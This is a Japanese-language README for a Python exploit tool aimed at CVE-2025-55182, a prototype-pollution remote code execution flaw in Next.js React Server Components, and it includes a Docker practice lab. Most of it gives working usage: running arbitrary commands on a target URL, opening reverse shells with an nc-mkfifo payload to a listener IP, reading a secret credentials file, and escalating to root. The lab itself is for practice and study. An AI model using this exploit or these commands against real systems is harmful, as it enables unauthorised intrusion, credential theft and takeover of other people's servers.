
CVE-2025-55182を対象としたエクスプロイトで、プロトタイプ汚染を介してNext.js React Server Componentsを標的にし、リモートコード実行、コマンド実行、リバースシェルペイロードを可能にします。練習用のDockerラボ環境を含みます。
CVE-2025-55182を悪用して、プロトタイプ汚染を介したリモートコード実行を行います。
著者: Severian N.K.
このツールは、React Server Componentsを使用するNext.jsアプリケーションのプロトタイプ汚染の脆弱性を悪用し、リモートコード実行(RCE)に至ります。直接的なコマンド実行とリバースシェルの両方をサポートします。
このプロジェクトはPython仮想環境を使用して依存関係を管理します。まず、Python 3がインストールされていることを確認してください。
仮想環境をセットアップする:
python3 -m venv venv
環境を有効にして依存関係をインストールする:
source venv/bin/activate
pip install -r requirements.txt
エクスプロイトを実行する前に、仮想環境が有効になっていることを確認してください(source venv/bin/activate)。
ターゲット上で単一のコマンドを実行するには:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
例:
python3 exploit.py -u http://example.com -c "id"
ターゲットからリバースシェルを取得するには:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
例:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
lab/ディレクトリには、独立した2つのDocker環境が含まれています:
lab/vulnerable):ポート3000で実行中。lab/patched):ポート3001で実行中。cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
アクセス: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
アクセス: http://localhost:3001
リスナーIP(--lhost)とポート(--lport)を必ず指定してください。DockerブリッジIPはip addr show docker0で確認できます(通常は172.17.0.1)。
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
注: ターゲットがAlpine Linuxで動作しているため、特定のペイロードタイプが必要なため、
-P nc-mkfifoを使用しています。
脆弱なコンテナはシークレットファイルを公開しています。
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
侵害された認証情報を使用して、nextjsからrootに権限昇格できます。
su - manager(パスワード: SuperSecret2025!)sudo su(パスワード: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
貢献を歓迎します!バグを見つけた場合や改善のアイデアがある場合は、Issueを開くかプルリクエストを送信してください。